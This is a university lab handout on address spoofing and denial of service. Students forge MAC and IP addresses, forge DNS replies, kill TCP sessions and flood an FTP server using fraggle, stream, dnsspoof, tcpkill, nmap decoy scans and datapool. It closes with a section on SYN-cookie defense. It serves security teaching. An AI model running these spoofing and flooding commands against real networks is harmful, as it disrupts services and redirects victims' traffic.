1

ECE 4112 Internetwork Security Lab 3: Address Spoofing, Denial of Service, Email Spoofing, and VoIP

Group Number:_____________ Member Names: ______________________ _______________________

Date Assigned: January 27, 2009 Date Due: February 3, 2009 Last Edited: November 20, 2007 Please read the entire lab and any extra materials carefully before starting. Be sure to start early enough so that you will have time to complete the lab. Answer ALL questions and be sure you turn in ALL materials listed in the Turn-in Checklist ON or BEFORE the Date Due.

Goal: This lab will introduce you to the concepts of falsifying identity on a network. Firewalls are often programmed to only accept traffic from certain IP and MAC addresses, so by falsifying this information a hacker can avoid this security. After successfully spoofing addresses, this lab will demonstrate how spoofing can be used for several kinds of denial of service attacks.

Background and Theory: The data link layer protocol used on our network is Ethernet. Each Ethernet device, such as a wireless card or the network interface card in the back of the lab computers, is assigned a six byte unique Media Access Control (MAC) address when it is manufactured. When the device is placed on a network, this unique address is its identification. Different computers on a given Ethernet communicate with each other by sending messages to the destination MAC address. The predominant network layer protocol that drives most modern networks is the Internetwork Protocol (IP). Every computer on the Internet has a unique 32-bit IP address which is assigned when the computer connects to the network. The IP address serves as identification of the computer on the global level, so any host can contact any other on the entire Internet using this address. Translation between MAC and IP address occurs through Address Resolution Protocol, or ARP. A host sends a message to its local Ethernet, asking what the MAC address is for a certain IP. If the destination IP is on its network, the destination responds with its MAC address. When a computer attempts to contact another with an IP address on its local subnet, it contacts the destination with ARP to determine the destination’s MAC address then sends

2

a packet to the Ethernet MAC address. When a computer attempts to contact another off of its subnet, it uses ARP to determine the MAC address of its gateway router, and sends the packet to the router. The router then uses the destination IP to connect between networks to the destination’s gateway router. Finally, the destination router uses ARP to determine the MAC address of the destination IP, and sends the packet across Ethernet to the destination. MAC and IP addresses serve as unique identifiers of devices on a network, and are therefore used for security and identification. If someone is doing illegal things on the Internet, their IP address can be used to identify who they are. Law enforcement can subpoena ISPs for the user attached to an IP address at a certain point in time, and more recently the Recording Industry Association of America (RIAA) has been using IP addresses to determine the identities of file sharers. There are several possible uses of forging a MAC or IP address. Because firewalls trust IP addresses, it is possible to circumvent firewall security by making packets appear to come from an acceptable host. Because these addresses are used for network communication, however, forging an address breaks two-way communication. A “blind” IP attack, where the source spoofs its IP address, may mean that data is sent to a destination, but the source will not be able to see any replies from the data because replies will be sent to the spoofed address, not the actual address of the attacker. A “non-blind” attack, where a source spoofs its IP but can still see the replies, is only possible if the source and destination are on the same local network, so the attacker can sniff the network and still see the reply packets as they travel to the spoofed source or the gateway router. As it cannot be used to receive responses or gather data, IP spoofing is frequently used for Denial of Service (DoS) attacks rather than hacking to gain illegitimate access. A DoS attack is a malicious attempt to disallow legitimate users of system from successfully accessing it. This is most frequently done by flooding the target with data so that it will either overload and crash, be forced to drop legitimate requests due to buffer overflows, or simply not process legitimate requests in an acceptably timely manner. It can also be accomplished by destroying the foundation of network communication by sending intentionally flawed or deceptive messages.

Prelab Questions: None

Lab Scenario: This lab will be using all three of your virtual machines and an external FTP Server (57.35.6.200).

Section 1: MAC address spoofing The MAC address for a network interface is assigned by the hardware manufacturer at the time of manufacture. Addresses are therefore completely independent of the network

3

to which they are attached, and addresses can be spoofed with relative ease. This spoofing has the potential to undermine common security measures. OIT, for example, uses MAC addresses on ResNet and on LAWN to tie network traffic to particular students. (Students tell OIT their MAC address when they register on ResNet or log into LAWN). By forging another student’s MAC address, OIT could be led to believe that your malicious activity was actually that of another student. As another example, many wireless routers only allow access from an allowed list of MAC addresses so that only certain computers can access the wireless network. If an attacker changes their MAC address to an allowed one, they can get in. On your Windows Virtual Machine: Exercise 1: Windows XP MAC Cloning Inspect the current MAC and IP address:

1. Open a Command Prompt 2. Type the command ipconfig /all 3. Record your results (either as a screen shot OR as a text file) (Attachment 1)

Change the MAC address

1. From the “Start Menu” go to Control Panel->Network and Internet Connections ->Network Connections

2. Double Click the icon labeled “Local Area Connection” 3. Click on “Properties” 4. Click “Configure,” which is under the NIC hardware. 5. Choose the “Advanced” tab 6. Highlight the “Network Address” field and input 12 hexadecimal characters to

create your new MAC address. Example: 000393B967F6 OR 003065242130

7. Run ipconfig /all again and record your results. (Attachment 2)

You may want to use ethereal and initiate some network traffic to “see” the new MAC address being used. Go back to the configuration and remove your changes. On a Linux Virtual Machine: Exercise 2: Linux MAC Cloning Inspect the current MAC and IP address:

1. Type the command ifconfig eth0 2. Record your results (either as a screen shot OR as a text file) (Attachment 3) 3. Type the command ifconfig eth0 down

or use the Linux command ifdown eth0

4

4. Type the command ifconfig eth0 hw ether 00:30:65:24:21:30 (or an Ethernet address you create)

5. Type the command ifconfig eth0 up 6. Type ifconfig again and record your results (either as a screen shot OR as a text

file) (Attachment 4) 7. Change your MAC Address back to the original one.

Q1.1: What would happen if two hosts on the same network had the same MAC address? Q1.2: Although it is relatively simple to forge a MAC address, it is very difficult to determine the MAC address of a host on a subnet to which you do not already have access. Why is this true?

Section 2: IP spoofing from Windows Start your Linux 7.2 and Windows XP virtual machines, and in Windows connect to the Network Attached Storage (You should know how to do this from Lab 1). Copy the file \\57.35.6.10\secure_class\Lab3\winject.zip to your local computer. Extract it to a new folder, then open the wINJECT application. 1. Click the “settings” button under “misc” header. 2. Choose “static” connection from the “Connection” drop down list. 3. Choose the IP of the WinXP virtual machine from the “Current IP” drop down list. 4. Click “Save” to save your settings. We are going to send our spoofed packets to the daytime-udp server on the Red Hat WS 4.0 machine. This server is run on UDP port 13 and replies to any incoming UDP packet with the current date and time on the system. Install the service on your Red Hat WS 4.0 machine by doing the following: 1. Edit the file /etc/xinetd.d/daytime-udp by changing disable = yes to disable = no. 2. Restart xinetd by running:

/sbin/service xinetd --full-restart Since daytime-udp will respond to any UDP packet, send a pre-defined packet. Press Packet->Open in wINJECT, then select DNS_Q.PKT in the packets folder. Edit four fields before sending the packet: IP_Src : IP Address of your Linux 7.2 Machine (Format: IP) IP_Dst : 57.35.6.255 (Format: IP, the Broadcast address of the lab subnet) udp_sport: 8000 (Format: Dec, a generic port) udp_dport: 13 (Format: Dec, the port of daytime-udp)

5

On your Red Hat WS 4.0 Machine open Ethereal and begin capture. Then return to Windows XP and press “Inject Packet” several times. Observe the results in Ethereal and answer the following questions. Q2.1. What machines appear to be involved in the daytime-udp query? Who is querying whom, and who is answering whom? Q2.2. For every packet injected, how many appear in Ethereal? Explain. Q2.3. Note the destination IP address of your spoofed packets. How do other groups working on this lab affect the attack? (Note: this is known as a smurf attack) Q2.4. Was this an example of blind or non-blind IP spoofing? Why?

Section 3: IP spoofing from a Linux machine 3.1 UDP Spoofing Just as we can create arbitrary IP packets in Windows, we can do the same in Linux. Because Linux offers simple access to network C libraries, it is relatively simple to code packets and send complex DOS strings. From RedHat 7.2, connect to the Network Attached Storage and copy the file Lab3/fraggle.c to your local machine. Carefully read through the code to understand its functionality. Compile fraggle with

#gcc -o fraggle fraggle.c The Fraggle program spoofs a stream of UDP packets seemingly from a given source to a list of destinations. Create a file (e.g. addresses.txt) and add the IP address of your Windows XP virtual machine followed by a carriage return. Start Ethereal on your Red Hat WS 4.0 Machine, then execute fraggle on your RedHat 7.2 machine so that 10000 packets are sent seemingly from your Red Hat WS 4.0 Machine. First check the syntax by typing: ./fraggle Example: ./fraggle 57.35.6.yyy addresses.txt 10000 0 Where 57.35.6.yyy is the target address Q3.1.1. Copy a sample line from your Ethereal output. What machines appear to be the source and destination of this transmission? Now edit fraggle.c to demonstrate how simple it is to manipulate the contents of an IP packet. In the void method fraggle, the entire IP packet is pointed to by char *packet. Add code so that the UDP payload includes the string “ECE4112.” Recompile fraggle, and rerun the above test, verifying in Ethereal that you were successful in modifying the UDP datagram.

6

Q3.1.2. What code changes were necessary? Q3.1.3. Copy the ASCII representation (bottom right display from Ethereal) of your created packet. 3.2 TCP Spoofing Now we will use TCP packets to accomplish the same task. From RedHat 7.2, connect to the Network Attached Storage and copy the file Lab3/stream.c to your local machine. Carefully look through the code for stream.c to try to understand its functionality. Compile the program with #gcc –o stream stream.c “Stream is a resource starvation attack taking advantage of the operating system’ inability to manage malformed packets sent to it at once. Stream works by sending TCP ACK packets to a series of ports with random sequence numbers and random source addresses” (Hacking Exposed, 3rd Edition, p.516). Start Ethereal on your Red Hat WS 4.0 Machine, then execute “stream” on your RedHat7.2 machine against your Windows XP machine. Note: Only allow ethereal to run for 1-2 seconds because a huge amount a packets will be generated by stream. # ./stream [ip of the WS 4.0 machine] 0 0 Screenshot #1 – Take a screen capture of your ethereal output. Now edit stream.c to demonstrate how simple it is to manipulate the content of a TCP/IP packet. Add a string of data to the packet that reads “ECE4112 – group N”, where N is your group number. (Hint: You will need to edit one of the structs and one or more of the functions.) Q3.2.1 What code changes were necessary? Now, compile and run the stream attack again. Run ethereal for a few seconds. In ethereal, highlight a packet that shows the string you added. Screenshot #2 – Take a screen capture that shows the highlighted packet.

7

Section 4: DNS Spoofing and Denial of Service DNS has become very important in the internet. Almost every website is accessed through the name rather than the IP address. DNS is used to turn names into IP addresses. DNS functions with a top-down method, queries begin at the root and continue to the endpoint. There are 13 root DNS servers. The TLD or top level domain is the next level which consists of country codes and .com, .org, etc. Subdomains are written to the left of higher domains as in "gatech.edu" where gatech is a subdomain of edu. This second level is generally the core name for an entity, for example "gatech.edu" is the core name of Georgia Institute of Technology. When a user wishes to access a website he sends a query to a local DNS server, who in turn passes that request up to parent DNS servers until the name can be resolved. The root or parent will then reply with the IP address of the relevant DNS server for the queried name. The local DNS server will then make the request to the relevant name server which will respond with the IP addresses closer and closer to the target IP address. The local DNS then returns the address to the user. There are several techniques for DNS Spoofing. DNS Spoofing is a sub-category of pharming which is any attack that redirects traffic from one site to another bogus site. What follows are explanations for several DNS spoofing techniques, one of which you will perform. DNS Cache Poisoning To accomplish this attack you first need to set up a dns server that serves a legitimate domain. We can call this domain hacker.com. Next you include a false record for the site you want to attack, like windowsupdate.microsoft.com. Then you ask the vulnerable dns server, vulnerable.com, for the dns record of hacker.com. Since it doesn't know the ip address for hacker.com it asks hacker.com for its dns records using a zone transfer. Hacker.com responds with its own dns record as well as the poisoned record for windowsupdate.microsoft.com. As long as the vulnerable dns server keeps its cache, windowsupdate.microsoft.com will have a poisoned dns address.

8

A similar version of this attack takes advantage of recursive dns lookups. First you ask vulnerable.com for a dns record for windowsupdate.microsoft.com. Vulnerable.com then requests dns records for windowsupdate.microsoft.com from its DNS parent. In the meantime you can quickly respond, as if you were the DNS parent, with a fake windowsupdate.microsoft.com response before the real DNS parent has a chance to respond. The cache is now poisoned. Cache poisoning has many uses, as the attacker can assign any IP address to the name windowsupdate.microsoft.com. For instance the attacker can set up his own machine to re-route packets to the actual windowsupdate.microsoft.com while he looks at all of the information that is passed along. This can also be accomplished on a larger scale and the attacker can create a false internet where all links within the victim's internet point to his machine, giving him access to more than just the information at windowsupdate.microsoft.com. An attacker can also use cache poisoning to phish for information, to increase hits on a site (think google priority), or any number of purposes. DNS IP Falsification In this attack the attacker uses hacker.com to advertise an ip address that does not belong to it, but actually belongs to windowsupdate.microsoft.com. When the victim uses an applet from hacker.com it checks the ip address of windowsupdate.microsoft.com to see if it belongs to hacker.com. Hacker.com responds saying that it does own microsoft's IP address. Now the applet can access windowsupdate.microsoft.com in addition to

9

hacker.com. Applets are normally only allowed to connect to the domain they came from, but this exploit allows an applet to access other domains. DNS Forging This is the type of attack you will perform using dsniff below. First the attack monitors the network for DNS requests. These DNS requests come with a psuedo-random id number which must be included in the reply from the DNS server. When you see a request for the targeted domain, windowsupdate.microsoft.com, you quickly respond with a false DNS record and the id number you intercepted. As long as you respond BEFORE the real DNS server the attack will be affective. You can also perform this attack in conjunction with ARP poisoning to ensure you are able to respond before the DNS server. ARP poisoning also allows you intercept traffic on switched networks so you can still perform the attack.

Defense against DNS Spoofing - Keep DNS server cache times to a minimum. - Make your DNS server less trusting of returned information not directly relevant to the query - Do not rely on DNS for security in software. - Use SSL authentication to make DNS spoofing much more difficult. By authenticating at the application/transport layer, a poisoned DNS will be caught unless the authentication is broken.

Resources http://www.iss.net/security_center/advice/Underground/Hacking/Methods/Technical/Spoofing/DNS/default.htm http://www.securesphere.net/download/papers/dnsspoof.htm http://en.wikipedia.org/wiki/Dns_poisoning

10

http://en.wikipedia.org/wiki/Domain_name_system http://en.wikipedia.org/wiki/Pharming Forging a DNS message In the previous lab you observed that by forging ARP messages, a victim could unknowingly communicate with the wrong MAC address. Using a similar man in the middle attack, forging a DNS message can cause a victim to communicate with the wrong IP. First start your web server on your Red Hat WS 4.0 Machine (the one installed in Lab 2) by typing # /home/apache2/apachect1 restart Test your Server by opening a web browser (type mozilla) and going to http://localhost/ . You should see a test page. Next install a DNS spoofing tool on your Red Hat 7.2 machine. Copy the files dsniff-2.3.tar.gz, libnet-1.0.2a.tar.gz, and libnids-1.16.tar.gz from the Network Attached Storage to your local Red Hat 7.2 machine. Install the tools by typing: #tar zxvf libnet-1.0.2a.tar.gz #cd Libnet-1.0.2a #./configure && make && make install #cd .. #tar zxvf libnids-1.16.tar.gz #cd libnids-1.16 #./configure && make && make install #cd .. #tar zxvf dsniff-2.3.tar.gz #cd dsniff-2.3 #./configure && make #make install Ignore the generated errors. Although some of the dsniff files will not compile under Red Hat 7.2, the programs we will use will. To setup DNS entries to spoof, type #echo “[your ip] windowsupdate.microsoft.com” > hostfile The "your ip" being referred to is the IP address of the machine on which the Apache Web Server is running. In this context, it is the IP address of the WS 4.0 machine.

11

To add additional entries, simply edit the hostfile file. Start the application by typing #dnsspoof –i eth0 –f hostfile DNSSpoof will now listen on the eth0 interface and forge DNS replies for any request to a host in hostfile. In your Windows XP Machine, open Internet Explorer and go to http://windowsupdate.microsoft.com (Depending on your current computer load and because our DNS server delay is so small, you may need to try this multiple times) If you are having trouble making this work: close internet explorer and run "ipconfig /flushdns" on the winxp machine to clear out any valid DNS responses, and then to try again. Q4.1: What are the results of trying to reach Microsoft’s Windows Updater? Q4.2: In the case of our local network, you may have had to try this several times. Why? (Hint: Observe transactions in Ethereal) Q4.3: Copy the output of DNSSpoof Q4.4: Keeping in mind that this attack is only possible if executed between a host and its DNS server, state three instances in which a hacker could use this attack. (You may wish to consider this with respect to the Blaster worm, or with respect to the Georgia Tech LAWN’s logon page).

Section 5: Monitoring for Spoofing Attacks In sections 1 and 2 we observed how to spoof a MAC address. Using methods similar to those of section 4, we could also spoof ARP messages in order hijack a connection. It is important that a network administrator be able to monitor the network for such attacks, known as ARP Poisoning, in order to prevent a successful hack. One way to prevent ARP poisoning is to monitor the network and check for consistency in ARP messages. If an IP address is claimed by one MAC address, and later that address is claimed by a different address, it is possible that ARP messages are being spoofed, sending a victim to the wrong MAC address. Similarly, if a MAC address is assigned one IP and then is changed to another, it is possible that a hacker has changed his or her MAC address, possibly for malicious purposes.

12

From Red Hat WS 4.0, copy Lab3/arpwatch.tar.Z from the NAS server to your local drive. Type the commands: #tar –zxvf arpwatch.tar.Z #cd arpwatch-2.1a4 #./configure && make && make install Start arpwatch so that we can monitor for changes. Under the default configuration, arpwatch will email results to the system administrator. We would rather simply print the output to the screen so type: #./arpwatch –d In RedHat 7.2, ping your Red Hat WS 4.0 machine. Q5.1: Copy the arpwatch output. Return to RedHat 7.2, and change your machine’s MAC address as we did in Section 1. Ping your Red Hat WS 4.0 machine again. Q5.2: Copy the new arpwatch output. arpwatch, as shown, serves only as a detective tool, telling a system administrator when there may be a network vulnerability. The network administrator is then responsible for interpreting the warning and deciding to act or not. On Resnet, OIT uses an automated approach. If two computers appear on the network with the same MAC address, the MAC address will be automatically banned until a Resnet employee overrides the ban.

Section 6: TCP Spoofing and Denial of Service In this spoofing section we will discuss sending malicious TCP packets in order to break existing TCP sessions. TCP is a connection-based protocol. Before communication can take place, a connection must be established between the source and the destination. This is done with what is known as a three-way handshake: the initiator sends a SYN message, the destination replies with acknowledgement ACK and another SYN, then the original initiator sends an ACK for the second SYN. When the communication is complete, the TCP session is terminated with a similar handshake, this time with the FIN flag. FTP uses TCP to communicate and we will use this for our attack. In Red Hat 7.2, type ntsysv in a command shell. Find [ ] wu-ftpd and make sure it is [x] checked. Click OK. In command shell, type /etc/init.d/xinetd restart. With the useradd command, add a user to your Red Hat 7.2 system so that you can log in remotely (you cannot FTP in as root). Open Ethereal on your Red Hat 7.2 machine to observe the connection. Log into Red Hat WS 7.2 from Windows XP by opening a Windows command prompt and typing ftp

13

<RH7.2 IP> . Type a command, such as ls to make sure that your connection is active. Type bye to quit. Screenshot #3 – Observe and take a screenshot of your Ethereal output by pressing the print screen button on your keyboard. Take note of the three-way handshake initiating the connection and the four-way handshake terminating the connection. We will now use tcpkill application, installed with dsniff. tcpkill monitors the network for TCP applications and will spoof RST messages to terminate open connections. Install tcpkill by typing #make tcpkill in the dsniff directory. Start Ethereal, then open an FTP session into Red Hat 7.2 from Windows XP. As we do not want to completely destroy TCP connectivity for everyone on our network, disconnect the Ethernet cable from the back of your computer. Type #./tcpkill tcp port ftp This will make tcpkill look for ftp connections to spoof and kill. Return to Windows XP and type ls . Notice that your connection has been terminated. Stop Ethereal and observe your output. Stop tcpkill and observe its output. (Screenshot #4) Take a screenshot of your Ethereal output that includes the spoofed RST packets. Copy your tcpkill output to a text file. Q6.1: Describe the tcpkill output. What are the numbers represented in the output? (Hint: you may want to correlate these messages with the Ethereal output) Q6.2: Although this is a simple attack, it cannot be used by a hacker to arbitrarily break Internet connections. Why not? Reconnect the Ethernet cable in the back of your computer. Q6.3: E-mail spoofing occurs when the header of an e-mail message is changed so that the message appears to have originated from somewhere else. This is a technique that most spammers use. Why is e-mail spoofing possible? (Hint: look at the protocols that allow e-mail communication) Section 7: NMAP Spoofing and DOS Attacks

14

Spoofing addresses during computer communications can accomplished rather easily using a variety of tools. One thing that all the previous spoofing exercises had in common was that they all were all 1-way communications. 2-way communications cannot be spoofed because requests can never be answered without a valid source address. Nevertheless, several methods are employed by attackers to achieve near spoofing-levels of anonymity while engaging in 2-way communications. This is demonstrated in this section’s exercise through one of two mechanisms, proxies and high-traffic obscurity. A side effect of the high traffic obscurity method is a Denial of Service (DOS) attack that can be used by a malicious attacker to assault a target system. Both mechanisms and their results can be explored using the familiar NMAP scanning tool. Exercise Set-up Power on All 3 Virtual Machines Turn on Vmware and boot all three virtual machines, they will all be used in this exercise. Stop the Windows Firewall Open the Windows XP virtual machine. Navigate to the “Control Panel” through the start menu and open the “Network Connections” applet. Then right-click the “Local Area Connection” icon and select the “Properties” submenu. When the property window appears, select “Advanced” and de-select the “Internet Connection Firewall” checkbox to turn off the windows firewall The windows firewall must be turned off to allow simple nmap scans for this exercise. However, if the firewall were set up to allow a trusted connection between itself and at least one host that is open to scan then the XP machine would also be vulnerable to an idle proxy scan that exploits internet/intranet trust relationships. Proxy Scan With nmap’s Idle Scan Switch Create baseline Scan for Comparison On the host linux Red Hat machine, open ethereal and start to promiscuously capture traffic. Next, open a terminal and perform a baseline scan of the redhat7.2 Vmware machine. Use the following command and arguments: nmap -P0 –O –sV –T5 redhat7.2_IP_Address The –P0 switch holds back pings from the host that can indicate a scan, the –O and –sV arguments ask the scan to determine the target operating system and version, and the –T5 switch speeds things up by using the “insane” level of scan timing.

15

NOTE: The –T5 switch would not be used if the scanner wished to be discrete or wanted conserve bandwidth. Take a look at the ethereal output. The display should appear to be similar to the screenshot below.

Notice that the host linux Red Hat machine is clearly scanning the rehat7.2 machine. Also notice that the time increments between packets is extremely small when the –T5 switch is used. Scan the Target through a Proxy Connection Once the scan completes, keep the nmap terminal window open. Reset ethereal and start another capture. Return to the nmap terminal window open and type: nmap -sI WinXP_IP_Address -P0 –O –sV –T5 redhat7.2_IP_Address When the scan completes, compare the results of the two scans. They should appear similar to the display below.

16

Notice that both scan returned the exact same results. Now open Ethereal and examine the output. There shouldn’t be a single packet moving from attacker to target or from target to attacker. Q7.1 True or False: The scan appears to originate from proxy Windows machine and does not appear to come from the real originator of the scan. High Traffic Obscurity With nmap’s Decoy Scan Switch Employ the Decoy Scan On the host linux Red Hat machine, reset ethereal and start to promiscuously capture traffic again. Next, open another terminal and type the following command and arguments: nmap -D WinXP_IP_Address Hardened_RHEL_IP_Address redhat7.2_IP_Address

-P0 –O –sV –T5 redhat7.2_IP_Address Once the scan completes, examine the Ethereal output.

17

Notice that the scanning traffic seems to originate from all the addresses listed after the –D switch in the nmap command. Q7.2: True or False: If we performed this command with an extremely large list of addresses and used the –T5 switch to create high volumes of traffic this would result in a DOS attack. Preventing Spoof Scans and DOS Attacks Turn On The Firewall Navigate back to the Windows Firewall control and select the checkbox to enable Internet Connection Protection. Re-attempt the first scan by typing the following into a terminal on the Red Hat 4.0 host machine: nmap -P0 –O –sV –T5 redhat7.2_IP_Address

18

The scan should not be successful It should appear to be filtered and return no port information, operating system, or version information. Additional Protections FYI only: If unfiltered services must be enabled on a machine, then alternate protections can be employed to repel SYN flood attacks that can be initiated with a maliciously constructed nmap decoy scan. In Linux, support for TCP syncookies could be compiled into the kernel. TCP syncookies adds protection as you will see later in this lab. On Windows, one could add the following two DWORD type registry keys to HKLM\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters

“TcpMaxConnectResponseRetransmissions” DWORD = 2 "SynAttackProtect" DWORD = 1 (Not 2 as in Appendix A)

• REFERENCE: Microsoft TechNet

Section 8: Denial of Service Attacks Our previous denial of service attacks have been limited to attacks on one’s own local network. In this section we will observe how to prevent legitimate access to our Red Hat WS 4.0 FTP server from any network using several denial of service techniques. If you do not have wu-ftp installed on your host (WS 4.0) machine, follow the following instructions:

• Copy the wu_ftpd rpm file from the “/mnt/nas4112/Lab2/tools” directory to the tools folder “/home/tools”

• In the “/home/tools” directory, type “rpm -i wu_ftpd_file”, where wu_ftpd_file is the full name of the rpm file

• Next type “ntsysv”. Scroll down to wu_ftp and press space to check it. Press Tab and Enter on OK

• Now type “/etc/init.d/xinetd restart” • This will start the ftp server

In RedHat 7.2, copy the file Lab3/datapool3.3.tar.gz from the Network Attached Storage to your local machine. Type

tar xzvf datapool3.3.tar.gz to extract the file, then cd datapool to enter the datapool directory. Datapool is a powerful DoS tool that includes 106 DoS attacks. To view the possible command line options, type:

./datapool.sh The first attack we will observe is the TCP SYN attack. This attack floods a TCP service, such as FTP, with SYN packets, which are used to initiate a connection. The service can only maintain a finite number of connections, so these false SYNs exhaust the

19

service’s capabilities and prevent legitimate TCP connections. The datapool attack we will use is entitled synful. From your Windows XP machine, FTP into your Red Hat WS 4.0 machine. From your Red Hat 7.2 machine, execute datapool.sh with your WS 4.0 machine as the destination, 21 as the port, a continuous attack, T3 as your line speed, and executing exclusively synful. Use the command below. ./datapool.sh –c –d 57.35.6.x –p 21-21 –l T3 –r <nameofattack> Start Ethereal on your Red Hat WS 4.0 machine, then attempt to execute commands from your Windows XP FTP session. Stop Ethereal and observe the Ethereal output. Close your FTP session. Without stopping the SYN attack, restart Ethereal then try to FTP into the WS 4.0 machine once again. Stop Ethereal and observe your results. Also, open a new terminal window in the Red Hat WS 4.0 machine and type the following command:

netstat –an | grep SYN If you do this, it should show you the pending connections waiting in the SYNRECVD state. Note that not all of these are necessarily SYN attacks! A slow dial-up user, who is a few seconds away from you IP-wise, will show up as a pending connection request for a few seconds. If you see tens of connect attempts to a particular service (port 23, 25, 110, 119, etc) from very random looking source addresses, then you have cause to suspect you’re being attacked. There are some simple approaches to fixing the SYN problem:

1. Decrease the length of time that pending connections are allowed to sit around in the OS queues.

2. Increase the length of the queues (linked-lists, actually) 3. Use better kernel data structures to store the list of pending connections

SYN flooding requires the attacker to continually send a large number of TCP SYN packets to the target. For each SYN packet received, the target host sends an acknowledgement packet to the supposed sender. The target then waits for a reply to the ACK; however, the attacker never sends the reply causing the target to continue to wait. This ties up a buffer on the target host system. When all buffers are used, no further network connections to the target are possible. Eventually, the waiting connection will time out, the kernel will free the buffer and make it available for new connections. Because of the high volume of packets sent during a SYN flood, an attacker’s packets are more likely to use the buffer than a packet from a legitimate connection. In this attack, the attackers must spoof the source addresses from hosts that are non-existent or inactive. If the source address is of an active host, because this host did not send the initial SYN

20

packet, when it receives the ACK` packet from the target, it will reply with a reset and thus release the waiting slot. Q8.1: Were you able to execute commands from your first FTP session? Were you able to execute commands in your second FTP session? Why or why not? Q8.2: Describe your Ethereal output. What sources appear to be sending data to your FTP server? How is your FTP server reacting? Are its responses consistent? If you cannot get these next two attacks to work, simply state that in the lab. Any theories on why these do not work would be welcome! The second attack we will observe is the teardrop attack, appropriately named teardrop in datapool. This attack takes advantage of IP’s ability to be fragmented as it is sent across a heterogeneous network. Ethernet, for example, can support 1500 byte packets, while ATM can only support 48. When the IP packets move from Ethernet to ATM, they must be fragmented into many packets and then reassembled later. The teardrop attack puts incorrect values in the IP fragment ID. The receiving system, if it does not know how to handle these inconsistencies, may experience buffer overflows or may crash. Use datapool to execute the teardrop attack using the same parameters as you did for synful. In Windows XP, attempt to FTP to your Red Hat WS 4.0 machine. In Red Hat WS 4.0, open Ethereal and capture a few seconds of data. Stop datapool using <ctrl-c>. Q8.3: Were you able to create an FTP session? Why or why not? Q8.4: Describe your Ethereal output For the third attack, we will observe a UDP flood attack, appropriately named udpflood in datapool. UDP is a connectionless Transport Layer protocol, and its lack of flow control allows a tremendous amount of data to be placed on the network at once. TCP, the protocol used for web, ftp, mail, and many other kinds of traffic, has flow control and will send less data when there is a heavy network load. A UDP flood attack sends massive amounts of UDP data, therefore filling the network and preventing successful TCP traffic flow. Use datapool to execute the udpflood attack using the same parameters as you did for synful. In Windows XP, attempt to FTP to your Red Hat WS 4.0 machine. In Red Hat WS 4.0, open Ethereal and capture a few seconds of data. Stop datapool. Q8.5: Describe your Ethereal output.

21

Chances are, you were able to successfully create an FTP connection. This is because the virtual network among our virtual machines has infinite bandwidth: it is impossible to fill up the network pipe and choke TCP. Using your Ethereal data, calculate the rate of UDP traffic generation. You can do this by observing the number of UDP packets sent during your collection time, the length of your collection time, and the size of each UDP packet. Keep in mind that network traffic is the number of bytes that must go across the Ethernet wire, not just the number of bytes in your UDP datagrams. Q8.6: What is the rate of UDP traffic generation in Mbps? Q8.7: Assume that a victim server has a 1Gbps connection to the network. In a distributed DoS attack, how many of your traffic generators would be necessary to completely overwhelm this connection? (Note: In a real world attack nowhere near this many is required, as this is an extremely inefficient generator and networks may fail from a buildup of collisions at as little as 60% utilization). This local attack has shown us the worst damage we can do with our udpflood. Now we will see what happens when we attack a limited system using this same udpflood attack. Before you begin, make sure that no one else in lab is currently working on this attack. From Windows XP, FTP into a Linux FTP server we have set up at 57.35.6.200 (username and password secure_class). This machine only has a 10Mbps connection to the network. Start the udpflood attack from the Red Hat 7.2 machine directed towards this server. Start Ethereal on your Red Hat WS 4.0 machine, then attempt to execute commands from your Windows XP FTP session. Stop Ethereal and observe the Ethereal output. Close your FTP session. Without stopping the flood attack, restart Ethereal then try to FTP into our server machine once again. Stop Ethereal and observe your results. Q8.8: Were you able to execute commands from your first FTP session? Were you able to execute commands in your second FTP session? Why or why not? SYN Flood Defense with SYN Cookies SYN Cookies are the key element of a technique used to guard against SYN flood attacks. In particular, the use of SYN Cookies allows a server to avoid dropping connections when the SYN queue fills up. Instead, the server behaves as if the SYN queue had been enlarged. The server sends back the appropriate SYN+ACK response to the client but discards the SYN queue entry. If the server then receives a subsequent ACK response from the client, the server is able to reconstruct the SYN queue entry using information encoded in the TCP sequence number.

22

While many implementations use zero as the initial sequence number, SYN Cookies are initial sequence numbers that are carefully constructed according to the following rules:

• let t = A counter incremented every 64 seconds • let m = The Maximum segment size value that the server would have stored in the

SYN queue entry • let s = The result of a cryptographic secret function computed over the server IP

address and port number, the client IP address and port number, and the value t. The returned value “s” must be a 24-bit value.

The initial TCP sequence number, i.e. the SYN Cookie, is computed as follows:

• First 5 bits: t mod 32 • Next 3 bits: an encoded value representing m • Final 24 bits: s

When a client sends back a TCP ACK packet to the server in response to the server's SYN+ACK packet, the client MUST (according to the TCP spec) use n+1 in the packet's Acknowledgement number, where n is the initial sequence number sent by the server. The server then subtracts 1 from the acknowledgement number to reveal the SYN Cookie sent to the client.

The server then performs the following operations.

• Checks the value t against the current time to see if the connection is expired. • Recomputes s to determine whether this is, indeed, a valid SYN Cookie. • Decodes the value m from the 3-bit encoding in the SYN Cookie, which it then

can use to reconstruct the SYN queue entry.

From this point forward, the connection proceeds as normal.

Procedure to defend against the first attack:

In attack 1 it wasn’t possible to FTP the target machine when it was under a SYN attack. We will try to FTP the machine that is under a TCP SYN attack with the defense of SYN Cookies. Enable SYN Cookies in you WS 4.0 machine. This machine will be used later as the attacker’s target. # echo 1 > /proc/sys/net/ipv4/tcp_syncookies (Although you do not need to do this, if you added the above command to the /etc/rc.d/rc.local script file you would not have to type it again the next time you reboot your system).

23

Edit the /etc/sysctl.conf file and add the following line: # Enable TCP SYN Cookie Protection net.ipv4.tcp_syncookies = 1 You must restart your network for the change to take effect. The command to restart the network is the following: /# /etc/rc.d/init.d/network restart

Start Ethereal on your Red Hat WS 4.0 machine. From your Red Hat 7.2 machine, execute datapool.sh with your WS 4.0 machine as the destination, 21 as the port, a continuous attack, T3 as your line speed, and executing exclusively synful. Use the command below.

./datapool.sh –c –d 57.35.6.x –p 21-21 –l T3 –r <nameofattack>

Look at Ethereal and wait until the attack gets started (You will see a huge increase in TCP packets). From your Windows XP machine, FTP into your Red Hat WS 4.0 machine.

Stop Ethereal and observe the Ethereal output. Close your FTP session.

Q8.9: Where you able to establish the FTP connection? Why or why not?

Q8.10: Can you see any difference in the TCP packets? (Hint: Look at the sequence number)

Q8.11: Compare and contrast the relative effectiveness of the three attacks including a comparison of the first attack before and after the defense against the first attack was deployed.

For future labs, you may not want the SYN cookies enabled. Disable SYN cookies by doing:

# echo -n 0 > /proc/sys/net/ipv4/tcp_syncookies

Edit the /etc/sysctl.conf file and remove the following line:

24

